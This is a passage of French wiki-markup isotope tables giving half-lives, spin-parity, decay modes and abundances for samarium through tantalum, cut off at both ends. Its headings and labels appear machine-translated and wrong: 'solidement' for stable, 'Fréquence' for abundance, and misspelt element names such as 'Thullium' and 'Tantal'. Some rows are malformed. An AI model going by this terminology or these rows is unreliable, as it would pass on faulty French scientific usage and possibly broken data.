m || (1/2) + || %K+%β+=100 |- |139m1Sm || 10.7 s || (11/2) - || %IT=93.7 , %K+%β+=6.3 |- |140Sm || 14.82 m || 0+ || %K+%β+=100 |- |141Sm || 10.2 m || 1/2+ || %K+%β+=100 |- |141m1Sm || 22.6 m || 11/2- || %K+%β+=99.69 , %IT=0.31 |- |142Sm || 72.49 m || 0+ || %K+%β+=100 |- |143Sm || 8.83 m || 3/2+ || %K+%β+=100 |- |143m1Sm || 66 s || 11/2- || %IT=99.76 , %K+%β+=0.24 |- |143m2Sm || 30 ms || 23/2(-) || %IT=100 |- |144Sm || solidement || 0+ || %Fréquence=3.1 |- |145Sm || 340 d || 7/2- || %K=100 |- |146Sm || 1.03e8 a || 0+ || %α=100 |- |147Sm || 1.06e+11 a || 7/2- || %Fréquence=15.0, %α=100 |- |148Sm || 7e+15 a || 0+ || %Fréquence=11.3 , %α=100 |- |149Sm || 2e+15 a || 7/2- || %Fréquence=13.8 |- |150Sm || solidement || 0+ || %Fréquence=7.4 |- |151Sm || 90 a || 5/2- || %β-=100 |- |152Sm || solidement || 0+ || %Fréquence=26.7 |- |153Sm || 46.284 h || 3/2+ || %β-=100 |- |153m1Sm || 10.6 ms || 11/2- || %IT=100 |- |154Sm || solidement || 0+ || %Fréquence=22.7 |- |155Sm || 22.3 m || 3/2- || %β-=100 |- |156Sm || 9.4 h || 0+ || %β-=100 |- |157Sm || 482 s || (3/2-) || %β-=100 |- |158Sm || 5.30 m || 0+ || %β-=100 |- |159Sm || 11.37 s || (5/2-) || %β-=100 |- |160Sm || 9.6 s || 0+ || %β-=100 |} ==[[Europium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |134Eu || 0.5 s || || %K+%β+=100, %Kp > 0 |- |135Eu || 1.5 s || || %K+%β+=100, %Kp=? |- |136Eu || 3.3 s || (7+ ) || %K+%β+=100, %Kp=0.09 |- |136m1Eu || 3.7 s || (3+ ) || %K+%β+=100, %Kp=0.09 |- |137Eu || 11 s || (11/2-) || %K+%β+=100 |- |138Eu || 12.1 s || (6-) || %K+%β+=100 |- |139Eu || 17.9 s || (11/2) - || %K+%β+=100 |- |140Eu || 1.51 s || 1+ || %K+%β+=100 |- |140m1Eu || 125 ms || (5-) || %IT=100 , %K+%β+ < 1 |- |141Eu || 40.7 s || 5/2+ || %K+%β+=100 |- |141m1Eu || 2.7 s || 11/2- || %K+%β+=13 +4-2 , %IT=87 +2-4 |- |142Eu || 2.34 s || 1+ || %K+%β+=100 |- |142m1Eu || 1.22 m || 8- || %K+%β+=100 |- |143Eu || 2.63 m || 5/2+ || %K+%β+=100 |- |144Eu || 10.2 s || 1+ || %K+%β+=100 |- |145Eu || 5.93 d || 5/2+ || %K+%β+=100 |- |146Eu || 4.61 d || 4- || %K+%β+=100 |- |147Eu || 24.1 d || 5/2+ || %K+β+=100, %α=0.0022 |- |148Eu || 54.5 d || 5- || %K+%β+=100, %α=9.4E-7 |- |149Eu || 93.1 d || 5/2+ || %K=100 |- |150Eu || 36.9 a || 5(-) || %K+%β+=100 |- |150m1Eu || 12.8 h || 0- || %K+%β+=11 , %β-=89 , %IT < 5E-8 |- |151Eu || solidement || 5/2+ || %Fréquence=47.8 |- |152Eu || 13.537 a || 3- || %K=72.1 , %β-=27.9 |- |152m1Eu || 9.3116 h || 0- || %K+%β+=28 , %β-=72 |- |152m2Eu || 96 m || 8- || %IT=100 |- |153Eu || solidement || 5/2+ || %Fréquence=52.2 |- |154Eu || 8.593 a || 3- || %β-=99.98 , %K+%β+=0.02 |- |154m1Eu || 46.3 m || (8-) || %IT=100 |- |155Eu || 4.7611 a || 5/2+ || %β-=100 |- |156Eu || 15.19 d || 0+ || %β-=100 |- |157Eu || 15.18 h || 5/2+ || %β-=100 |- |158Eu || 45.9 m || (1-) || %β-=100 |- |159Eu || 18.1 m || 5/2+ || %β-=100 |- |160Eu || 38 s || 1(-) || %β-=100 |- |161Eu || 26 s || || %β-=100 |- |162Eu || 10.6 s || || %β-=100 |} ==[[Gadolinium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |139Gd || 4.9 s || 9/2- || %K+%β+=?, %β+P=? |- |140Gd || 15.8 s || 0+ || %K+%β+=100 |- |141Gd || 14 s || (1/2+ ) || %K+%β+=100, %Kp=0.03 |- |141m1Gd || 24.5 s || (11/2-) || %K+%β+=89 , %IT=11 |- |142Gd || 70.2 s || 0+ || %K+%β+=100 |- |143Gd || 39 s || (1/2) + || %K+%β+=100, %Kp < 0.001 |- |143m1Gd || 112 s || (11/2-) || %K+%β+=100 |- |144Gd || 4.5 m || 0+ || %K+%β+=100 |- |145Gd || 23.0 m || 1/2+ || %K+%β+=100 |- |145m1Gd || 85 s || 11/2- || %IT=94.3 , %K+%β+=5.7 |- |146Gd || 48.27 d || 0+ || %K=100 |- |147Gd || 38.06 h || 7/2- || %K+%β+=100 |- |148Gd || 74.6 a || 0+ || %α=100 |- |149Gd || 9.28 d || 7/2- || %K+%β+=100, %α=4.3E-4 |- |150Gd || 1.79e6 a || 0+ || %α=100 |- |151Gd || 124 d || 7/2- || %K=100, %α ~ 8E-7 |- |152Gd || 1.08e14 a || 0+ || %Fréquence=0.20, %α=100 |- |153Gd || 240.4 d || 3/2- || %K=100 |- |154Gd || solidement || 0+ || %Fréquence=2.18 |- |155Gd || solidement || 3/2- || %Fréquence=14.80 |- |155m1Gd || 31.97 ms || 11/2- || %IT=100 |- |156Gd || solidement || 0+ || %Fréquence=20.47 |- |157Gd || solidement || 3/2- || %Fréquence=15.65 |- |158Gd || solidement || 0+ || %Fréquence=24.84 |- |159Gd || 18.479 h || 3/2- || %β-=100 |- |160Gd || solidement || 0+ || %Fréquence=21.86 |- |161Gd || 3.66 m || 5/2- || %β-=100 |- |162Gd || 8.4 m || 0+ || %β-=100 |- |163Gd || 68 s || (5/2-) || %β-=100 |- |164Gd || 45 s || 0+ || %β-=100 |} ==[[Terbium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |140Tb || 2.4 s || 5 || %K+%β+=100, %p=0.26 |- |141Tb || 3.5 s || (5/2-) || %K+%β+=100 |- |142Tb || 597 ms || 1+ || %K+%β+=100 , %Kp=0.0022 |- |142m1Tb || 303 ms || (5-) || %IT=100, %K+%β+ < 0.5 |- |143Tb || 12 s || (11/2-) || %K+%β+=100 |- |143m1Tb || 21 s || (5/2+ ) || |- |144Tb || 1 s || (1+ ) || %K+%β+=100 |- |144m1Tb || 4.25 s || (6-) || %IT=66 , %K+%β+=34 |- |145Tb || || (1/2+ ) || |- |145m1Tb || 29.5 s || (11/2-) || %K+%β+=100 |- |146Tb || 8 s || 1+ || %K+%β+=100 |- |146m1Tb || 23 s || 5- || %K+%β+=100 |- |146m2Tb || 1.18 ms || (10+)|| %IT=100 |- |147Tb || 1.7 h || (1/2+ ) || %K+%β+=100 |- |147m1Tb || 1.83 m || (11/2) - || %K+%β+=100 |- |148Tb || 60 m || 2- || %K+%β+=100 |- |148m1Tb || 2.20 m || 9+ || %K+%β+=100 |- |149Tb || 4.118 h || 1/2+ || %K+%β+=83.3 , %α=16.7 |- |149m1Tb || 4.16 m || 11/2- || %K+%β+=99.978 , %α=0.022 |- |150Tb || 3.48 h || (2-) || %K+%β+=100, %α<0.05 |- |150m1Tb || 5.8 m || 9+ || %K+%β+=100 |- |151Tb || 17.609 h || 1/2(+) || %K+%β+=100 , %α=9.5E-3 |- |151m1Tb || 25 s || (11/2-) || %IT=93.8 , %K+%β+=6.2 |- |152Tb || 17.5 h || 2- || %K+%β+=100, %α < 7E-7 |- |152m1Tb || 4.2 m || 8+ || %IT=78.8 , %K+%β+=21.2 |- |153Tb || 2.34 d || 5/2+ || %K+%β+=100 |- |154Tb || 21.5 h || 0 || %K+%β+=100, %β- < 0.1 |- |154m1Tb || 9.4 h || 3- || %K+%β+=78.2 , %IT=21.8 , %β- < 0.1 |- |154m2Tb || 22.7 h || 7- || %K+%β+=98.2 , %IT=1.8 |- |154m3Tb || 513 ns || || |- |155Tb || 5.32 d || 3/2+ || %K=100 |- |156Tb || 5.35 d || 3- || %K+%β+=100 , %β-=? |- |156m1Tb || 24.4 h || (7-) || %IT=100 |- |156m2Tb || 5.3 h || (0+)|| %IT=?, %K+%β+=? |- |157Tb || 71 a || 3/2+ || %K=100 |- |158Tb || 180 a || 3- || %K+%β+=83.4 , %β-=16.6 |- |158m1Tb || 10.70 s || 0- || %IT=100, %β- < 0.6, %K+%β+ < 0.01 |- |159Tb || solidement || 3/2+ || %Fréquence=100 |- |160Tb || 72.3 d || 3- || %β-=100 |- |161Tb || 6.88 d || 3/2+ || %β-=100 |- |162Tb || 7.60 m || 1- || %β-=100 |- |163Tb || 19.5 m || 3/2+ || %β-=100 |- |164Tb || 3.0 m || (5+ ) || %β-=100 |- |165Tb || 2.11 m || (3/2+ ) || %β-=100 |} ==[[Dysprosium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |141Dy || 0.9 s || (9/2-) || %K+%β+=100 , %Kp=? |- |142Dy || 2.3 s || 0+ || %K+%β+=100, %Kp=0.06 |- |143Dy || 4.1 s || (1/2+ ) || %K+%β+=100, %Kp=? |- |144Dy || 9.1 s || 0+ || %K+%β+=100, %Kp=? |- |145Dy || 10 s || (1/2+ ) || %K+%β+=100 |- |145m1Dy || 13.6 s || (11/2-) || %K+%β+=100 |- |146Dy || 29 s || 0+ || %K+%β+=100 |- |146m1Dy || 150 ms || (10+)|| %IT=100 |- |147Dy || 40 s || 1/2+ || %K+%β+=100, %Kp=? |- |147m1Dy || 55 s || 11/2- || %K+%β+=65 , %IT=35 |- |148Dy || 3.1 m || 0+ || %K+%β+=100 |- |149Dy || 4.20 m || (7/2-) || %K+%β+=100 |- |149m1Dy || 490 ms || (27/2-) || %IT=99.3 , %K+%β+=0.7 |- |150Dy || 7.17 m || 0+ || %α=36 , %K+%β+=64 |- |151Dy || 17.9 m || 7/2(-) || %K+%β+=94.4 , %α=5.6 |- |152Dy || 2.38 h || 0+ || %α=0.100 , %K=99.900 |- |153Dy || 6.4 h || 7/2(-) || %K+%β+=99.9906 , %α=0.0094 |- |154Dy || 3.0e+6 a || 0+ || %α=100 |- |155Dy || 9.9 h || 3/2- || %K+%β+=100 |- |156Dy || solidement || 0+ || %Fréquence=0.06 |- |157Dy || 8.14 h || 3/2- || %K+%β+=100 |- |157m1Dy || 21.6 ms || 11/2- || %IT=100 |- |158Dy || solidement || 0+ || %Fréquence=0.10 |- |159Dy || 144.4 d || 3/2- || %K=100 |- |160Dy || solidement || 0+ || %Fréquence=2.34 |- |161Dy || solidement || 5/2+ || %Fréquence=18.9 |- |162Dy || solidement || 0+ || %Fréquence=25.5 |- |163Dy || solidement || 5/2- || %Fréquence=24.9 |- |164Dy || solidement || 0+ || %Fréquence=28.2 |- |165Dy || 2.334 h || 7/2+ || %β-=100 |- |165m1Dy || 1.257 m || 1/2- || %IT=97.76 , %β-=2.24 |- |166Dy || 81.6 h || 0+ || %β-=100 |- |167Dy || 6.20 m || (1/2-) || %β-=100 |- |168Dy || 8.7 m || 0+ || %β-=100 |- |169Dy || 39 s || (5/2-) || %β-=100 |} ==[[Holmium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |144Ho || 0.7 s || || %K+%β+=100, %Kp=? |- |145Ho || 2.4 s || (11/2-) || %K+%β+=100 |- |146Ho || 3.6 s || (10+)|| %K+%β+=100, %Kp=? |- |147Ho || 5.8 s || (11/2-) || %K+%β+=100, %Kp=? |- |148Ho || 2.2 s || 1+ || %K+%β+=100 |- |148m1Ho || 9.59 s || 6- || %K+%β+=100, %Kp=0.08 |- |148m2Ho || 2.35 ms || (10+)|| %IT=100 |- |149Ho || 21.1 s || (11/2-) || %K+%β+=100 |- |149m1Ho || 56 s || (1/2+ ) || %K+%β+=100 |- |150Ho || 72 s || 2- || %K+%β+=100 |- |150m1Ho || 23.3 s || (9) + || %K+%β+=100 |- |151Ho || 35.2 s || (11/2-) || %K+%β+=78 , %α=22 |- |151m1Ho || 47.2 s || (1/2+ ) || %α=80 +15-20, %K+%β+=20 +20- 15 |- |152Ho || 161.8 s || 2- || %α=12 , %K+%β+=88 |- |152m1Ho || 50.0 s || 9+ || %α=10.8 , %K+%β+=89.2 |- |153Ho || 2.01 m || 11/2- || %K+%β+=99.949 , %α=0.051 |- |153m1Ho || 9.3 m || 1/2+ || %K+%β+=99.82 , %α=0.18 |- |154Ho || 11.76 m || (2) - || %K+%β+=99.981 , %α=0.019 |- |154m1Ho || 3.10 m || 8+ || %K+%β+=100, %α < 0.001 |- |155Ho || 48 m || 5/2+ || %K+%β+=100 |- |156Ho || 56 m || (4+ ) || %K+%β+=100 |- |156m1Ho || 9.5 s || (1+ ) || %IT=?, %K+%β+=? |- |157Ho || 12.6 m || 7/2- || %K+%β+=100 |- |158Ho || 11.3 m || 5+ || %K+%β+=100 |- |158m1Ho || 28 m || 2- || %K+%β+ < 19, %IT > 81 |- |158m2Ho || 21.3 m || (9+ ) || %K+%β+ > 93, %IT < 7 |- |159Ho || 33.05 m || 7/2- || %K+%β+=100 |- |159m1Ho || 8.30 s || 1/2+ || %IT=100 |- |160Ho || 25.6 m || 5+ || %K+%β+=100 |- |160m1Ho || 5.02 h || 2- || %IT=65 , %K+%β+=35 |- |160m2Ho || 3 s || (9+ ) || %IT=100 |- |161Ho || 2.48 h || 7/2- || %K=100 |- |161m1Ho || 6.76 s || 1/2+ || %IT=100 |- |162Ho || 15.0 m || 1+ || %K+%β+=100 |- |162m1Ho || 67.0 m || 6- || %IT=62, %K+%β+=38 |- |163Ho || 4570 a || 7/2- || %K=100 |- |163m1Ho || 1.09 s || 1/2+ || %IT=100 |- |164Ho || 29 m || 1+ || %K=60 , %β-=40 |- |164m1Ho || 37.5 m || 6- || %IT=100 |- |165Ho || solidement || 7/2- || %Fréquence=100 |- |166Ho || 26.83 h || 0- || %β-=100 |- |166m1Ho || 1.20e3 a || (7) - || %β-=100 |- |167Ho || 3.1 h || 7/2- || %β-=100 |- |168Ho || 2.99 m || 3+ || %β-=100 |- |168m1Ho || 132 s || (6+ ) || %IT > 99.5, %β- < 0.5 |- |169Ho || 4.7 m || 7/2- || %β-=100 |- |170Ho || 2.76 m || (6+ ) || %β-=100 |- |170m1Ho || 43 s || (1+ ) || %β-=100 |- |171Ho || 53 s || (7/2-) || %β-=100 |- |172Ho || 25 s || %β-=100 |} ==[[Erbium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |145Er || 0.9 s || (11/2-) || %K+%β+=100, %Kp=? |- |146Er || 1.7 s || 0+ || %K+%β+=100, %Kp=? |- |147Er || 2.5 s || (11/2-) || %K+%β+=100, %Kp=? |- |147m1Er || 2.5 s || (1/2+ ) || %K+%β+=100, %Kp=? |- |148Er || 4.6 s || 0+ || %K+%β+=100, %Kp ~ 0.15 |- |149Er || 4 s || (1/2+ ) || %K+%β+=100, %Kp=7 |- |149m1Er || 8.9 s || (11/2-) || %K+%β+=96.5 , %IT=3.5 , %Kp=0.18 |- |150Er || 18.5 s || 0+ || %K+%β+=100 |- |151Er || 23.5 s || (7/2-) || %K+%β+=100 |- |151m1Er || 0.58 s || (27/2-) || %IT=95.3 , %K+%β+=4.7 |- |152Er || 10.3 s || 0+ || %K+%β+=10 , %α=90 |- |153Er || 37.1 s || (7/2-) || %α=53 , %K+%β+=47 |- |154Er || 3.73 m || 0+ || %K+%β+=99.53 , %α=0.47 |- |155Er || 5.3 m || 7/2- || %K+%β+=99.978 , %α=0.022 |- |156Er || 19.5 m || 0+ || %K+%β+=100 |- |157Er || 18.65 m || 3/2- || %K+%β+=100 |- |157m1Er || 76 ms || (9/2+ ) || %IT=100 |- |158Er || 2.29 h || 0+ || %K=100 |- |159Er || 36 m || 3/2- || %K+%β+=100 |- |160Er || 28.58 h || 0+ || %K=100 |- |161Er || 3.21 h || 3/2- || %K+%β+=100 |- |162Er || solidement || 0+ || %Fréquence=0.14 |- |163Er || 75.0 m || 5/2- || %K+%β+=100 |- |164Er || solidement || 0+ || %Fréquence=1.61 |- |165Er || 10.36 h || 5/2- || %K=100 |- |166Er || solidement || 0+ || %Fréquence=33.6 |- |167Er || solidement || 7/2+ || %Fréquence=22.95 |- |167m1Er || 2.269 s || 1/2- || %IT=100 |- |168Er || solidement || 0+ || %Fréquence=26.8 |- |169Er || 9.40 d || 1/2- || %β-=100 |- |170Er || solidement || 0+ || %Fréquence=14.9 |- |171Er || 7.516 h || 5/2- || %β-=100 |- |172Er || 49.3 h || 0+ || %β-=100 |- |173Er || 1.4 m || (7/2-) || %β-=100 |- |174Er || 3.3 m || 0+ || %β-=100 |- |175Er || 1.2 m || (9/2+ ) || %β-=100 |} ==[[Thullium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |146Tm || 235 ms || (10+) || %K+%β+ ~ 55, %p ~ 45 |- |146m1Tm || 72 ms || (5- ,6-) || %p=100, %K+%β+=? |- |147Tm || 0.56 s || (11/2-) || %K+%β+ ~ 90, %p ~ 10 |- |147m1Tm || 360 μs || (1/2+,3/2+ ) || |- |148Tm || 0.7 s || (10+ ) || %K+%β+=100 |- |149Tm || 0.9 s || (11/2-) || %K+%β+=100, %Kp=0.2 +2-1 |- |150Tm || 2.2 s || (6-) || %K+%β+=100, %Kp=1.2 |- |150m1Tm || 5.2 ms || (10+) || %IT=100 |- |151Tm || 4.17 s || (11/2-) || %K+%β+=100 |- |151m1Tm || 6.6 s || (1/2+ ) || %K+%β+=100 |- |152Tm || 8.0 s || (2) - || %K+%β+=100 |- |152m1Tm || 5.2 s || (9) + || %K+%β+=100 |- |153Tm || 1.48 s || (11/2-) || %α=91 , %K+%β+=9 |- |153m1Tm || 2.5 s || (1/2+ ) || %α=92 , %K+%β+=8 |- |154Tm || 8.1 s || (2-) || %K+%β+=56 , %α=44 |- |154m1Tm || 3.30 s || (9+ ) || %α=90 sys%K+%β+=10 sys%IT=? |- |155Tm || 21.6 s || (11/2-) || %K+%β+=98.1 , %α=1.9 |- |155m1Tm || 45 s || (1/2+ ) || %K+%β+>92, %α<8 |- |156Tm || 83.8 s || 2- || %K+%β+=99.936 , %α=0.064 |- |156m1Tm || 19 s || || %α=? |- |157Tm || 3.63 m || 1/2+ || %K+%β+=100 |- |158Tm || 3.98 m || 2- || %K+%β+=100 |- |158m1Tm || 20 ns || (5+ ) || |- |158m2Tm || 16 ns || (9-) || |- |159Tm || 9.13 m || 5/2+ || %K+%β+=100 |- |160Tm || 9.4 m || 1- || %K+%β+=100 |- |160m1Tm || 74.5 s || 5 || %K+%β+=15 , %IT=85 |- |161Tm || 33 m || 7/2+ || %K+%β+=100 |- |162Tm || 21.70 m || 1- || %K+%β+=100 |- |162m1Tm || 24.3 s || 5+ || %IT=82 , %K+%β+=18 |- |163Tm || 1.810 h || 1/2+ || %K+%β+=100 |- |164Tm || 2.0 m || 1+ || %K+%β+=100 |- |164m1Tm || 5.1 m || 6- || %IT ~ 80, %K+%β+ ~ 20 |- |165Tm || 30.06 h || 1/2+ || %K+%β+=100 |- |166Tm || 7.70 h || 2+ || %K+%β+=100 |- |166m1Tm || 350 ms || 6- || %IT=100 |- |167Tm || 9.25 d || 1/2+ || %K=100 |- |168Tm || 93.1 d || 3(+) || %K+%β+=99.990 , %β-=0.010 |- |169Tm || solidement || 1/2+ || %Fréquence=100 |- |170Tm || 128.6 d || 1- || %K=0.131 , %β-=99.869 |- |171Tm || 1.92 a || 1/2+ || %β-=100 |- |172Tm || 63.6 h || 2- || %β-=100 |- |173Tm || 8.24 h || (1/2+ ) || %β-=100 |- |174Tm || 5.4 m || (4) - || %β-=100 |- |175Tm || 15.2 m || 1/2+ || %β-=100 |- |176Tm || 1.9 m || (4+ ) || %β-=100 |- |177Tm || 85 s || (1/2+ ) || %β-=100 |} ==[[Ytterbium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |151Yb || 1.6 s || (1/2+ ) || %K+%β+=100, %Kp=? |- |151m1Yb || 1.6 s || (11/2-) || %K+%β+ ~ 100, %Kp=? |- |152Yb || 3.04 s || 0+ || %K+%β+=100, %Kp=? |- |153Yb || 4.2 s || 7/2- || %α=50 sys %K+%β+=50 sys |- |154Yb || 0.409 s || 0+ || %α=92.6 , %K+%β+=7.4 |- |155Yb || 1.800 s || (7/2-) || %α=89 , %K+%β+=11 |- |156Yb || 26.1 s || 0+ || %K+%β+=90 , %α=10 |- |157Yb || 38.6 s || 7/2- || %K+%β+=99.5, %α=0.5 |- |158Yb || 1.49 m || 0+ || %α ~ 0.0021 , %K+%β+=100 |- |159Yb || 1.58 m || 5/2(-) || %K+%β+=100 |- |160Yb || 4.8 m || 0+ || %K+%β+=100 |- |161Yb || 4.2 m || 3/2- || %K+%β+=100 |- |162Yb || 18.87 m || 0+ || %K+%β+=100 |- |163Yb || 11.05 m || 3/2- || %K+%β+=100 |- |164Yb || 75.8 m || 0+ || %K=100 |- |165Yb || 9.9 m || 5/2- || %K+%β+=100 |- |166Yb || 56.7 h || 0+ || %K=100 |- |167Yb || 17.5 m || 5/2- || %K+%β+=100 |- |168Yb || solidement || 0+ || %Fréquence=0.13 |- |169Yb || 32.026 d || 7/2+ || %K=100 |- |169m1Yb || 46 s || 1/2- || %IT=100 |- |170Yb || solidement || 0+ || %Fréquence=3.05 |- |171Yb || solidement || 1/2- || %Fréquence=14.3 |- |171m1Yb || 5.25 ms || 7/2+ || %IT=100 |- |172Yb || solidement || 0+ || %Fréquence=21.9 |- |173Yb || solidement || 5/2- || %Fréquence=16.12 |- |174Yb || solidement || 0+ || %Fréquence=31.8 |- |175Yb || 4.185 d || 7/2- || %β-=100 |- |175m1Yb || 68.2 ms || 1/2- || %IT=100 |- |176Yb || solidement || 0+ || %Fréquence=12.7 |- |176m1Yb || 11.4 s || (8-) || %IT > 90, %β- < 10 |- |177Yb || 1.911 h || (9/2+ ) || %β-=100 |- |177m1Yb || 6.41 s || (1/2-) || %IT=100 |- |178Yb || 74 m || 0+ || %β-=100 |- |179Yb || 8.0 m || (1/2-) || %β-=100 |- |180Yb || 2.4 m || 0+ || %β-=100 |} ==[[Lutetium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |150Lu || 35 ms || || %p=80 , %K+%β+=20 |- |151Lu || 88 ms || (11/2-) || %p=70 |- |152Lu || 0.7 s || (5- ,6-) || %K+%β+=100, %Kp=15 |- |153Lu || 0.9 s || 11/2- || %α ~ 70 , %K+%β+ ~ 30 |- |154Lu || || (2-) || |- |154m1Lu || 1.12 s || (9+ ) || %K+%β+ ~ 100 |- |154m2Lu || 35 μs || (17+ ) || |- |155Lu || 140 ms || (1/2+ , 3/2+ ) || %α=? |- |155m1Lu || 68 ms || (11/2-) || %α=79 , %K+%β+=21 |- |155m2Lu || 2.60 ms || (25/2-) || %α ~ 100 |- |156Lu || 198 ms || (9+ ) || %α ~ 95 , %K+%β+=5 |- |156m1Lu || 494 ms || (2-) || %α=79 , %K+%β+=21 |- |157Lu || 6.8 s || (1/2+ , 3/2+ ) || %α > 0 |- |157m1Lu || 4.79 s || (11/2-) || %α=6 , %K+%β+=94 |- |158Lu || 10.6 s || || %α=0.91 , %K+%β+=99.09 |- |159Lu || 12.1 s || || %K+%β+=99.96 sys%α=0.04 sys |- |160Lu || 36.1 s || || %K+%β+=100, %α < 1E-4 |- |160m1Lu || 40 s || || %K+%β+ < 100, %α=? |- |161Lu || 77 s || (5/2+ ) || %K+%β+=100 |- |161m1Lu || 7.3 ms || (9/2-) || %IT=100 |- |162Lu || 1.37 m || (1-) || %K+%β+=100 |- |162m1Lu || 1.5 m || (4-) || %K+%β+ < 100 |- |162m2Lu || 1.9 m || || %K+%β+ < 100 |- |163Lu || 238 s || (1/2-) || %K+%β+=100 |- |164Lu || 3.14 m || || %K+%β+=100 |- |165Lu || 10.74 m || (7/2+ ) || %K+%β+=100 |- |165m1Lu || 12 m || 1/2+ || |- |166Lu || 2.65 m || (6-) || %K+%β+=100 |- |166m1Lu || 1.41 m || (3-) || %K+%β+=58 , %IT=42 |- |166m2Lu || 2.12 m || (0- ) || %K+%β+>80, %IT<20 |- |167Lu || 51.5 m || 7/2+ || %K+%β+=100 |- |168Lu || 5.5 m || (6-) || %K+%β+=100 |- |168m1Lu || 6.7 m || 3+ || %K+%β+ > 95, %IT < 5 |- |169Lu || 34.06 h || 7/2+ || %K+%β+=100 |- |169m1Lu || 160 s || 1/2- || %IT=100 |- |170Lu || 2.012 d || 0+ || %K+%β+=100 |- |170m1Lu || 0.67 s || (4) - || %IT=100 |- |171Lu || 8.24 d || 7/2+ || %K+%β+=100 |- |171m1Lu || 79 s || 1/2- || %IT=100 |- |172Lu || 6.70 d || 4- || %K+%β+=100 |- |172m1Lu || 3.7 m || 1- || %IT=100 |- |173Lu || 1.37 a || 7/2+ || %K=100 |- |174Lu || 3.31 a || (1) - || %K+%β+=100 |- |174m1Lu || 142 d || (6) - || %IT=99.38 , %K=0.62 |- |175Lu || solidement || 7/2+ || %Fréquence=97.41 |- |176Lu || 3.78e10 a || 7- || %Fréquence=2.59, %β-=100 |- |176m1Lu || 3.635 h || 1- || %β-=99.905 , %K=0.095 |- |177Lu || 6.734 d || 7/2+ || %β-=100 |- |177m1Lu || 160.4 d || 23/2- || %β-=78.3 , %IT=21.7 |- |178Lu || 28.4 m || 1(+) || %β-=100 |- |178m1Lu || 23.1 m || (9-) || %β-=100 |- |179Lu || 4.59 h || 7/2(+) || %β-=100 |- |179m1Lu || 3.1 ms || 1/2(+) || %IT=100 |- |180Lu || 5.7 m || (5) + || %β-=100 |- |181Lu || 3.5 m || (7/2+ ) || %β-=100 |- |182Lu || 2.0 m || (0,1,2) || %β-=100 |- |183Lu || 58 s || (7/2+ ) || %β-=100 |- |184Lu || 20 s || (2+ ) || %β-=100 |} ==[[Hafnium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |154Hf || 2 s || 0+ || %K+%β+=100 |- |155Hf || 0.89 s || || %K+%β+=100, %α=? |- |156Hf || 25 ms || 0+ || %α > 81 |- |156m1Hf || 444 μs || || |- |157Hf || 110 ms || 7/2- || %α=86 , %K+%β+=14 |- |158Hf || 2.85 s || 0+ || %α=44 , %K+%β+=56 |- |159Hf || 5.6 s || || %K+%β+=59 , %α=41 |- |160Hf || 13.6 s || 0+ || %K+%β+=99.3 , %α=0.7 |- |161Hf || 16.8 s || (13/2+ ) || %K+%β+=99.71 , %α=0.29 |- |162Hf || 37.6 s || 0+ || %K+%β+=99.9937 , %α=0.0063 |- |163Hf || 40.0 s || || %K+%β+=100 |- |164Hf || 111 s || 0+ || %K+%β+=100 |- |165Hf || 76 s || (5/2-) || %K+%β+=100 |- |166Hf || 6.77 m || 0+ || %K+%β+=100 |- |167Hf || 2.05 m || (5/2-) || %K+%β+=100 |- |168Hf || 25.95 m || 0+ || %K+%β+=100 |- |169Hf || 3.24 m || (5/2) - || %K+%β+=100 |- |170Hf || 16.01 h || 0+ || %K=100 |- |171Hf || 12.1 h || (7/2+ ) || %K+%β+=100 |- |172Hf || 1.87 a || 0+ || %K=100 |- |173Hf || 23.6 h || 1/2- || %K+%β+=100 |- |174Hf || 2.0e15 a || 0+ || %Fréquence=0.162, %α=100 |- |175Hf || 70 d || 5/2- || %K=100 |- |176Hf || solidement || 0+ || %Fréquence=5.206 |- |177Hf || solidement || 7/2- || %Fréquence=18.606 |- |177m1Hf || 1.08 s || 23/2+ || %IT=100 |- |177m2Hf || 51.4 m || 37/2- || %IT=100 |- |178Hf || solidement || 0+ || %Fréquence=27.297 |- |178m1Hf || 4.0 s || 8- || %IT=100 |- |178m2Hf || 31 a || 16+ || %IT=100 |- |179Hf || solidement || 9/2+ || %Fréquence=13.629 |- |179m1Hf || 18.67 s || 1/2- || %IT=100 |- |179m2Hf || 25.05 d || 25/2- || %IT=100 |- |180Hf || solidement || 0+ || %Fréquence=35.100 |- |180m1Hf || 5.5 h || 8- || %IT=99.7 , %β-=0.3 |- |181Hf || 42.39 d || 1/2- || %β-=100 |- |182Hf || 9e6 a || 0+ || %β-=100 |- |182m1Hf || 61.5 m || 8- || %β-=58 , %IT=42 |- |183Hf || 1.067 h || (3/2-) || %β-=100 |- |184Hf || 4.12 h || 0+ || %β-=100 |- |184m1Hf || 48 s || (8-) || %IT=100 |- |185Hf || 3.5 m || || %β-=100 |} ==[[Tantal]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |156Ta || 144 ms || (2-) || %p ~ 100 |- |156m1Ta || 375 ms || (9+ ) || %K+%β+=95.8 , %p=4.2 |- |157Ta || 10.1 ms || 1/2+ || %α=96.6 , %p=3.4 |- |157m1Ta || 4.3 ms || 11/2- || %K+%β+ ~ 5 |- |158Ta || 36.5 ms || (2-) || %α=93 , %K+%β+=7 |- |158m1Ta || 49 ms || (9+ ) || %α ~ 100 |- |159Ta || 0.57 s || || %α=80 , %K+%β+=20 |- |160Ta || 1.55 s || (9+ ) || %K+%β+=66, %α=34 |- |160m1Ta || 1.7 s || (2-) || %α=? |- |161Ta || 2.7 s || 